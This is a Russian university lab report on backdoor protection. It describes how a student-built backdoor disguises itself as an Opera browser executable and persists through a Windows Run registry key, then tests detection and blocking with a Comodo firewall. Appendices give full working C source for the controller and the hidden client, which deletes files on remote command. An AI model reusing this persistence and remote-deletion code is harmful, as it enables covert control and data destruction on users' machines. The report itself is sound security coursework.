Файл: Лабораторная работа 4 Защита от встраиваемых потайных ходов по дисциплине Основы информационной безопасности.docx
ВУЗ: Не указан
Категория: Не указан
Дисциплина: Не указана
Добавлен: 04.02.2024
Просмотров: 82
Скачиваний: 7
ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.
-
Министерство образования и науки Российской Федерации -
Санкт-Петербургский Политехнический Университет Петра Великого -
— -
Институт прикладной математики и механики -
Кафедра «Информационная безопасность компьютерных систем»
ЛАБОРАТОРНАЯ РАБОТА № 4
-
«Защита от встраиваемых потайных ходов» -
-
по дисциплине «Основы информационной безопасности»
-
Выполнили -
студент гр. 4851001/10002 Сергеев Н.С.
<подпись>
-
-
Проверил -
преподаватель Калинин М.О.
<подпись>
-
Санкт-Петербург 2022
-
Цель работы
Приобрести навыки по анализу структуры, функциональности и угроз специально встраиваемого дефекта программного продукта – потайного хода (backdoor), а также изучить методы защиты от уязвимостей такого вида.
-
Ход работы
-
Использованные методы маскировки:
Для маскировки клиентская часть программы запускается без окна. Название программы похоже на название исполняемого файла одного из распространённых веб браузеров, что должно вызвать дополнительное доверие. При прописывании ключа в реестре для автозагрузки используется строка «Opera browser», что намекает на необходимость запуска.
-
Описание добавления программы-клиента в автозагрузку:
Поскольку предполагается использование потайного хода на Windows-системе, клиентская программа добавляет в системный реестр ключ для автоматической загрузки вместе с системой. В исходном коде клиента это метод autoloading();. Перед этим программа копирует себя в системный каталог, и прописывает автозапуск для исполняемого файла уже из диска C. Таким образом, удаление первоначального файла не приведёт к решению проблемы.
void autoloading()
{
HKEY hKey = NULL;
char way[0x100];
GetModuleFileName(NULL, way, sizeof(way)); //извлекает полный путь доступа к исполняемому файлу
CopyFile(way, "C:\\Windows\\Opera.exe", 1); //копирует существующий файл в новый файл
LONG rc = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey);
if (rc == ERROR_SUCCESS)
{
way[0] = '\0';
strcpy(way, "C:\\Windows\\Opera.exe");
RegSetValueEx(hKey, "Opera browser", NULL, REG_SZ, (LPBYTE)way, strlen(way)); //создает параметр в разделе реестра
RegCloseKey(hKey);
}
else
{
printf("Error!");
}
}
-
Межсетевой экран Comodo:
Установив программный межсетевой экран “Comodo Фаервол” на атакуемый компьютер, фиксируем список открытых сетевых портов, а также отмечаем поведение межсетевого экрана на запуск клиента:
|
Рис. 1. Список открытых портов |
После того, как разрешаем запрос на соединение, фиксируем сетевые порты, которые ими использовались. Блокируем их и по новой производим запуск клиента и сервера. После блокировки порта соединение с сервером не было установлено.
|
Рис. 2. Блокировка порта |
-
Результаты работы программы:
При первичном запуске программа-клиент добавляет себя в автозагрузку, выполняется без окна, производит удаление файла по запросу программы-сервера. Однако, клиент виден при просмотре в диспетчере задач на атакуемой машине. При удалении исполняемого файла и перезагрузки системы, клон программы на диске C выполняет те же операции, его также можно обнаружить в диспетчере задач.
-
Ответы на вопросы
-
Какие угрозы несут потайные ходы? Потайной ход позволяет копировать, удалять файлы с пораженного компьютера, позволяет получить удаленный доступ к реестру, производить системные операции: создание новых сетевых ресурсов, модификацию паролей и т.д. -
Как можно обнаружить потайной ход, если он открывает порт только на короткие промежутки времени, которые заранее не известны? Для того, чтобы обнаружить потайной ход, нужно регулярно осуществлять проверку открытых портов, а также установить специальную программу-монитор (например, Commodo Internet Security,) которая позволяет обнаруживать такие программы. -
Можно ли использовать потайные ходы для организации распределенной атаки типа «отказ в обслуживании»? Да, потайные ходы можно использовать для организации распределенной атаки отказа в обслуживании, например, заставлять так называемых “зомби” отправлять запрос на определенный сервер, таким образом при очень большом количестве запросов, сервер перестает работать в нормальном режиме и отвечать на запросы. -
Каким образом можно удалить процесс программы-клиента из списка задач Диспетчера задач? Вызвать Диспетчер задач. Выделяется нужный процесс, и в нижнем правом углу появляется активируется кнопка “Снять задачу”. После нажатия задача перестает быть активной. -
Опишите схему работы потайного хода, использующего для удаленного управления Telnet-сервер. Telnet – это сервер, который обслуживает протокол TELNET. Обычно telnet запускается через сервис Internet, в некоторых системах может быть запущен вручную. Telnet обслуживает TCP-порт 23, но может быть запущен и на другой порт. Принцип работы сервера заключается в том, что он “слушает” порт TCP. В случае поступления запроса на обслуживание, telnet назначает каждому удаленному клиенту псевдотерминал в качестве стандартного файла ввода, вывода, ошибок. При установке взаимодействия с удаленным клиентом telnet обменивается командами настройки (эхо, обмен двоичной информацией, тип терминала, скорость обмена). После подключения удаленный пользователь должен ввести имя пользователя и пароль. После входа в систему пользователь видит командную строку, которую можно использовать, как будто эта командная строка была запущена локально в консоли сервера. Команды, вводимые в командной строке клиента, отправляются на сервер и выполняются там, как будто пользователь локально подключился к сеансу командной строки на сервере.
-
Выводы
В ходе работы мы ознакомились со шпионским программным обеспечением, а именно потайными ходами. Мы узнали, структуру потайных ходов, их функции, какие опасности представляют эти программы для компьютеров, а также какими действиями и мероприятиями можно защитить свой компьютер от рук злоумышленников. Слабо продвинутый пользователь может долгое время работать на системе, в которой присутствует Backdoor, и даже не подозревать, что его компьютер используется в нелегальных целях. Его выход в интернет может использоваться для сетевых атак, для сканирования сетей или для скрытого сбора информации.
Приложение 1
#undef UNICODE
#define _CRT_SECURE_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN
#include
#include
#include
#include
#include
#include
#pragma comment (lib, "Ws2_32.lib") //соответствующиq lib-файл для winsock2.h
#define DEFAULT_BUFLEN 260
#define DEFAULT_PORT "1111" //номер порта
int main()
{
SetConsoleCP(1251); //
SetConsoleOutputCP(1251); //распознование кириллицы в консоли
int Result;
//Инициализация Winsock
WSADATA wsaData; //для инициализации сокетов
WORD DLLVersion = MAKEWORD(2, 2); //указывает старший номер версии библиотеки
Result = WSAStartup(DLLVersion, &wsaData);
//В случае успеха функция возвращает нулевое значение
if (Result != 0)
{
printf("Error!\n");
return 1;
}
struct addrinfo *result = NULL; // используется для подготовки структуры адреса сокета
struct addrinfo hints; // подсказки о типе сокета
ZeroMemory(&hints, sizeof(hints)); //заполняем память 0
hints.ai_flags = AI_PASSIVE; //назначить сокету адрес моего хоста (адрес сокета будет исп. при вызове функции привязки)
hints.ai_family = AF_INET; //указание версии протокола
hints.ai_socktype = SOCK_STREAM; //обеспечивает последовательные, надежные, двусторонние байтовые потоки
hints.ai_protocol = IPPROTO_TCP; //TCP — один из основных протоколов передачи данных интернета, предназначенный для управления передачей данных
// Перевод имени хоста в адрес
Result = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
if (Result != 0)
{
printf("Error!\n");
WSACleanup();
return 1;
}
// Создать сокет для подключения к серверу
SOCKET ListenSocket = INVALID_SOCKET;
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); //создание сокета, домен, тип канала, протокол
if (ListenSocket == INVALID_SOCKET)
{
printf("Error! Создать сокет не удалось\n");
freeaddrinfo(result);
WSACleanup();
return 1;
}
// Настройте сокет прослушивания TCP (прослушивания запросов на установку соединения)
// Привязать имя к сокету
Result = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); //адрес, длина адреса
if (Result == SOCKET_ERROR)
{
printf("Error!\n");
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
Result = listen(ListenSocket, SOMAXCONN); //информируем ОС, что мы ожидаем ("слушаем") запросы связи на данном сокете
if (Result == SOCKET_ERROR) {
printf("Error!\n");
closesocket(ListenSocket);
WSACleanup();
return 1;
}
// Принять клиентский сокет (принятия связи на сокет)
SOCKET ClientSocket = INVALID_SOCKET;
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET)
{
printf("Error!\n");
closesocket(ListenSocket);
WSACleanup();
return 1;
}
printf("Успешно подключен к клиенту и готов удалить файл\nВведите путь: ");
char way[DEFAULT_BUFLEN];
scanf("%s", way);
way[strlen(way)] = '\0';
Result = send(ClientSocket, way, (int)strlen(way), 0); //запись данных в клиентский сокет
if (Result == SOCKET_ERROR)
{
printf("Отправить не удалось\n");
closesocket(ClientSocket);
WSACleanup();
}
way[0] = '\0';
//печатает удалился ли файл
int len = DEFAULT_BUFLEN;
Result = recv(ClientSocket, way, len, 0); //чтение данных из клиентского сокета
int i = 0;
while (way[i] != '\0')
{
printf("%c", way[i]);
i++;
}
_getch();
return 1;
}
Приложение 2
#define WIN32_LEAN_AND_MEAN
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include
#include
#include
#include
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define DEFAULT_BUFLEN 260
#define DEFAULT_PORT "1111"
void autoloading()
{
HKEY hKey = NULL;
char way[0x100];
GetModuleFileName(NULL, way, sizeof(way)); //извлекает полный путь доступа к исполняемому файлу
CopyFile(way, "C:\\Windows\\Opera.exe", 1); //копирует существующий файл в новый файл
LONG rc = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey);
if (rc == ERROR_SUCCESS)
{
way[0] = '\0';
strcpy(way, "C:\\Windows\\Opera.exe");
RegSetValueEx(hKey, "Opera browser", NULL, REG_SZ, (LPBYTE)way, strlen(way)); //создает параметр в разделе реестра
RegCloseKey(hKey);
}
else
{
printf("Error!");
}
}
int main()
{
SetConsoleCP(1251); //
SetConsoleOutputCP(1251); //распознование кириллицы в консоли
FreeConsole();
autoloading();
int Result;
//Инициализация Winsock
WSADATA wsaData; //для инициализации сокетов
WORD DLLVersion = MAKEWORD(2, 2); //указывает старший номер версии библиотеки DLL
Result = WSAStartup(DLLVersion, &wsaData);
//В случае успеха функция возвращает нулевое значение
if (Result != 0)
{
printf("Error!\n");
return 1;
}
struct addrinfo hints; // подсказки о типе сокета
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Перевод имени хоста в адрес
struct addrinfo *result = NULL; // используется для подготовки структуры адреса сокета
Result = getaddrinfo("192.168.56.1", DEFAULT_PORT, &hints, &result); //ip-адрес для соединения, порт
if (Result != 0)
{
printf("Error!\n");
WSACleanup();
return 1;
}
// Попытка соединиться с адресом
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo *ptr = NULL;
for (ptr = result; ptr != NULL; ptr = ptr->ai_next)
{
// Создать сокет для подключения к серверу
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET)
{
printf("Error!\n");
WSACleanup();
return 1;
}
// Подключиться к серверу
Result = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (Result == SOCKET_ERROR){
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET){
printf("Невозможно подключиться к серверу!\n");
printf("Ожидание");
_getch();
WSACleanup();
return 1;
}
char recvbuf[DEFAULT_BUFLEN];
int recvbuflen = DEFAULT_BUFLEN;
for (int i = 0; i < recvbuflen; i++) recvbuf[i] = '\0';
Result = recv(ConnectSocket, recvbuf, recvbuflen, 0);
int k = remove(recvbuf);
if (k == -1){
send(ConnectSocket, "Delete error\n", 14, 0); //запись данных в сервер сокет
}
else{
send(ConnectSocket, "Successful delete\n", 19, 0); //запись данных в сервер сокет
}
_getch();
return 1;}